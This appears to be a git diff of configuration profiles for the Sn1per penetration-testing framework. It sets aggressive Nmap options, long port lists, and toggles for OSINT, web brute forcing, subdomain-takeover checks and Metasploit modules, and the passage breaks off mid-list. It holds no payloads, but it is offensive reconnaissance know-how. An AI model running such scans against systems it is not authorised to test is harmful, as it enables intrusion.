+TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="1" +METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="0" +SHOW_MOUNT="0" +RPC_INFO="0" +SMB_ENUM="0" +AMAP="0" +YASUO="0" + +# OSINT PLUGINS +WHOIS="0" +GOOHAK="1" +INURLBR="1" +THEHARVESTER="0" +METAGOOFIL="0" +HUNTERIO="0" +INTODNS="0" +EMAILFORMAT="0" +ULTRATOOLS="0" +URLCRAZY="0" +VHOSTS="0" +H8MAIL="1" +GITHUB_SECRETS="1" + +# ACTIVE WEB PLUGINS +BURP_SCAN="1" +ARACHNI_SCAN="1" +DIRSEARCH="1" +GOBUSTER="0" +NIKTO="0" +BLACKWIDOW="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" +WAFWOOF="1" +WHATWEB="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" +WEBTECH="1" +SSL_INSECURE="1" +HTTP_PROBE="1" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" +WEB_BRUTE_FULLSCAN="1" +WEB_BRUTE_EXPLOITSCAN="1" +WEB_JAVASCRIPT_ANALYSIS="1" +MAX_JAVASCRIPT_FILES="25" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="1" +SSL="0" +PASSIVE_SPIDER="1" +HACKERTARGET="1" +GUA="1" +CUTYCAPT="0" +WEBSCREENSHOT="1" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="1" +AQUATONE="0" +SLURP="0" +SUBLIST3R="0" +AMASS="0" +SUBFINDER="0" +DNSCAN="0" +CRTSH="1" +SUBOVER="1" +PROJECT_SONAR="1" +CENSYS_SUBDOMAINS="1" +SUBNET_RETRIEVAL="1" +SUBJACK="1" +ALT_DNS="1" +MASS_DNS="1" +DNSGEN="1" +SHODAN="1" +ASN_CHECK="1" +SPYSE="1" +SUBBRUTE_DNS="0" +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/bug_bounty_max_javascript_files b/conf/bug_bounty_max_javascript_files index c541373..c30cff2 100644 --- a/conf/bug_bounty_max_javascript_files +++ b/conf/bug_bounty_max_javascript_files @@ -16,14 +16,14 @@ AUTOBRUTE="0" FULLNMAPSCAN="0" OSINT="0" ENABLE_AUTO_UPDATES="1" -ONLINE="" +# ONLINE="1" REPORT="1" LOOT="1" -METASPLOIT_IMPORT="0" +SC0PE_VULNERABLITY_SCANNER="1" # SN1PER PROFESSIONAL SETTINGS SNIPER_PRO_CONSOLE_OUTPUT="0" -SN1PER_AUTOLOAD="0" +SN1PER_AUTOLOAD="1" MAX_HOSTS="2000" # DEFAULT BROWSER @@ -41,13 +41,14 @@ OPENVAS_USERNAME="admin" OPENVAS_PASSWORD="" # METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" MSF_LHOST="127.0.0.1" MSF_LPORT="4444" # SHODAN API KEY SHODAN_API_KEY="" -# API KEYS +# CENSYS API KEYS CENSYS_APP_ID="" CENSYS_API_SECRET="" @@ -58,26 +59,26 @@ HUNTERIO_KEY="" GITHUB_API_KEY="" # SLACK API -SLACK_NOTIFICATIONS="0" SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" SLACK_NOTIFICATIONS_THEHARVESTER="0" SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" -SLACK_NOTIFICATIONS_DOMAINS_NEW="1" -SLACK_NOTIFICATIONS_TAKEOVERS_NEW="1" -SLACK_NOTIFICATIONS_SUBOVER_NEW="1" -SLACK_NOTIFICATIONS_SUBJACK_NEW="1" -SLACK_NOTIFICATIONS_S3_BUCKETS="1" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" SLACK_NOTIFICATIONS_SUBNETS="0" -SLACK_NOTIFICATIONS_DIRSEARCH_NEW="1" -SLACK_NOTIFICATIONS_SPIDER_NEW="1" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" SLACK_NOTIFICATIONS_WHATWEB="0" -SLACK_NOTIFICATIONS_NMAP="1" -SLACK_NOTIFICATIONS_NMAP_DIFF="1" -SLACK_NOTIFICATIONS_BRUTEFORCE="1" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" SLACK_NOTIFICATIONS_WHOIS="0" SLACK_NOTIFICATIONS_METAGOOFIL="0" -SLACK_NOTIFICATIONS_ARACHNI_SCAN="1" -SLACK_NOTIFICATIONS_EMAIL_FORMAT="1" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" # WEB BRUTE FORCE WORDLISTS WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" @@ -106,7 +107,7 @@ FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" # NMAP PORT CONFIGURATIONS QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" @@ -122,6 +123,7 @@ THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="1" METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" SSH_AUDIT="0" SHOW_MOUNT="0" RPC_INFO="0" @@ -176,6 +178,7 @@ WAYBACKMACHINE="1" SSL="0" PASSIVE_SPIDER="1" HACKERTARGET="1" +GUA="1" CUTYCAPT="0" WEBSCREENSHOT="1" @@ -203,4 +206,5 @@ SHODAN="1" ASN_CHECK="1" SPYSE="1" SUBBRUTE_DNS="0" -GITHUB_SUBDOMAINS="1" \ No newline at end of file +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/bug_bounty_quick b/conf/bug_bounty_quick index 9ae33b7..ef08faf 100644 --- a/conf/bug_bounty_quick +++ b/conf/bug_bounty_quick @@ -16,14 +16,14 @@ AUTOBRUTE="0" FULLNMAPSCAN="0" OSINT="0" ENABLE_AUTO_UPDATES="1" -ONLINE="" +# ONLINE="1" REPORT="1" LOOT="1" -METASPLOIT_IMPORT="0" +SC0PE_VULNERABLITY_SCANNER="1" # SN1PER PROFESSIONAL SETTINGS SNIPER_PRO_CONSOLE_OUTPUT="0" -SN1PER_AUTOLOAD="0" +SN1PER_AUTOLOAD="1" MAX_HOSTS="2000" # DEFAULT BROWSER @@ -41,13 +41,14 @@ OPENVAS_USERNAME="admin" OPENVAS_PASSWORD="" # METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" MSF_LHOST="127.0.0.1" MSF_LPORT="4444" # SHODAN API KEY SHODAN_API_KEY="" -# API KEYS +# CENSYS API KEYS CENSYS_APP_ID="" CENSYS_API_SECRET="" @@ -58,26 +59,26 @@ HUNTERIO_KEY="" GITHUB_API_KEY="" # SLACK API -SLACK_NOTIFICATIONS="0" SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" SLACK_NOTIFICATIONS_THEHARVESTER="0" SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" -SLACK_NOTIFICATIONS_DOMAINS_NEW="1" -SLACK_NOTIFICATIONS_TAKEOVERS_NEW="1" -SLACK_NOTIFICATIONS_SUBOVER_NEW="1" -SLACK_NOTIFICATIONS_SUBJACK_NEW="1" -SLACK_NOTIFICATIONS_S3_BUCKETS="1" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" SLACK_NOTIFICATIONS_SUBNETS="0" -SLACK_NOTIFICATIONS_DIRSEARCH_NEW="1" -SLACK_NOTIFICATIONS_SPIDER_NEW="1" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" SLACK_NOTIFICATIONS_WHATWEB="0" -SLACK_NOTIFICATIONS_NMAP="1" -SLACK_NOTIFICATIONS_NMAP_DIFF="1" -SLACK_NOTIFICATIONS_BRUTEFORCE="1" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" SLACK_NOTIFICATIONS_WHOIS="0" SLACK_NOTIFICATIONS_METAGOOFIL="0" -SLACK_NOTIFICATIONS_ARACHNI_SCAN="1" -SLACK_NOTIFICATIONS_EMAIL_FORMAT="1" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" # WEB BRUTE FORCE WORDLISTS WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" @@ -106,7 +107,7 @@ FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" # NMAP PORT CONFIGURATIONS QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" @@ -122,6 +123,7 @@ THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="1" METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" SSH_AUDIT="0" SHOW_MOUNT="0" RPC_INFO="0" @@ -166,8 +168,8 @@ HTTP_PROBE="1" # ACTIVE WEB BRUTE FORCE STAGES WEB_BRUTE_STEALTHSCAN="1" WEB_BRUTE_COMMONSCAN="1" -WEB_BRUTE_FULLSCAN="1" -WEB_BRUTE_EXPLOITSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" WEB_JAVASCRIPT_ANALYSIS="1" MAX_JAVASCRIPT_FILES="25" @@ -176,6 +178,7 @@ WAYBACKMACHINE="1" SSL="0" PASSIVE_SPIDER="1" HACKERTARGET="1" +GUA="1" CUTYCAPT="0" WEBSCREENSHOT="1" @@ -203,4 +206,5 @@ SHODAN="1" ASN_CHECK="1" SPYSE="1" SUBBRUTE_DNS="0" -GITHUB_SUBDOMAINS="1" \ No newline at end of file +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/bug_bounty_quick_port_80_443_only b/conf/bug_bounty_quick_port_80_443_only new file mode 100644 index 0000000..fff8980 --- /dev/null +++ b/conf/bug_bounty_quick_port_80_443_only @@ -0,0 +1,210 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="80,443" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="80,443" +DEFAULT_TCP_PORTS="80,443" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,